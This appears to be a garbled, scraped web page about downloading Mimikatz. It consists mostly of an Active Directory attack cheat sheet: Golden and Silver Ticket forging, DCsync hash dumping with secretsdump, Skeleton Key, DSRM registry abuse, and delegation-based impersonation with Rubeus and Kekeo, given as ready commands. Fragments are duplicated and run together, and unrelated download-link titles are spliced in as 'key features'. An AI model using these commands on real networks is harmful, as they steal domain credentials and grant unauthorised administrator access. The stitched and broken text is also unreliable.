About Mimikatz download
Any machine:Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'">#Execute mimikatz on DC as DA to grab krbtgt hash:Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName DC'sName>#On any machine:Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt: id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'DCsync Attack"'#DCsync using secretsdump.py from impacket with NTLM authenticationsecretsdump.py /:@ -just-dc-ntlm#DCsync using secretsdump.py from impacket with Kerberos Authenticationsecretsdump.py -no-pass -k /@ -just-dc-ntlm">#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):Invoke-Mimikatz -Command '"lsadump::dcsync /user:"'#DCsync using secretsdump.py from impacket with NTLM authenticationsecretsdump.py Domain>/Username>:Password>@DC'S IP or FQDN> -just-dc-ntlm#DCsync using secretsdump.py from impacket with Kerberos Authenticationsecretsdump.py -no-pass -k /@'S IP or FQDN> -just-dc-ntlmTip: /ptt -> inject ticket on current running session /ticket -> save the ticket on the system for later useSilver Ticket Attack /sid: /target: /service: /rc4: /user: /ptt"'">Invoke-Mimikatz -Command '"kerberos::golden /domain: /sid: /target: /service: /rc4:'s Account NTLM Hash> /user:UserToImpersonate> /ptt"'SPN ListSkeleton Key Attack#Access using the password "mimikatz"Enter-PSSession -ComputerName -Credential \Administrator">#Exploitation Command runned as DA:Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC's FQDN>#Access using the password "mimikatz"Enter-PSSession -ComputerName -Credential \AdministratorDSRM AbuseWUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!#This is a local account, so we can PTH and authenticate!#BUT we need to alter the behaviour of the DSRM account before pth:#Connect on DC:Enter-PSSession -ComputerName #Alter the Logon behaviour on registry:New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose#If the property already exists:Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose">#Dump DSRM password (needs DA privs):Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName DC's Name>#This is a local account, so we can PTH and authenticate!#BUT we need to alter the behaviour of the DSRM account before pth:#Connect on DC:Enter-PSSession -ComputerName 's Name>#Alter the Logon behaviour on registry:New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name
Key features of the Mimikatz download that are enabled through these drivers include:
- Mimikatz - Windows用Mimikatz 2.2.0, 2.0ダウンロード
- Mimikatz - Windows用Mimikatz 2.2.0, 2.0ダウンロード - iowin.net
- Memdumps, Volatility, Mimikatz, VMs – Part 1: Mimikatz lsass.exe
- GitHub - rbaas293/Downloading-Mimikatz: How to get Mimikatz
- Comprehensive Mimikatz EBook. Mastering Mimikatz, A
- GitHub - ebalo55/mimikatz: The version of the original Mimikatz
- mimikatz/README.md at master ParrotSec/mimikatz - GitHub
User using ptt attack:Invoke-Mimikatz -Command '"kerberos::ptt "'">#Discover domain joined computers that have Unconstrained Delegation enabledGet-NetComputer -UnConstrained#List tickets and check if a DA or some High Value target has stored its TGTInvoke-Mimikatz -Command '"sekurlsa::tickets"'#Command to monitor any incoming sessions on our compromised serverInvoke-UserHunter -ComputerName NameOfTheComputer> -Poll TimeOfMonitoringInSeconds> -UserName UserToMonitorFor> -DelayWaitInterval> -Verbose#Dump the tickets to disk:Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'#Impersonate the user using ptt attack:Invoke-Mimikatz -Command '"kerberos::ptt "'Note: We can also use Rubeus!Constrained DelegationUsing PowerView and Kekeo: /domain: /rc4:#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegationtgs::s4u /tgt: /user:@ /service:#Finally use mimikatz to ptt the TGSInvoke-Mimikatz -Command '"kerberos::ptt "'">#Enumerate Users and Computers with constrained delegationGet-DomainUser -TrustedToAuthGet-DomainComputer -TrustedToAuth#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeotgt::ask /user:UserName> /domain:Domain's FQDN> /rc4:#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegationtgs::s4u /tgt: /user:@'s FQDN> /service:Service's SPN>#Finally use mimikatz to ptt the TGSInvoke-Mimikatz -Command '"kerberos::ptt "'ALTERNATIVE:Using Rubeus: /rc4: /impersonateuser: /msdsspn:"" /altservice: /ptt">Rubeus.exe s4u /user:UserName> /rc4:NTLMhashedPasswordOfTheUser> /impersonateuser:UserToImpersonate> /msdsspn:"" /altservice:Optional> /pttNow we can access the service as the impersonated user!🚩 What if we have delegation rights for only a specific SPN? (e.g TIME):In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.Resource Based Constrained DelegationWUT IS DIS?: TL;DR If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it.
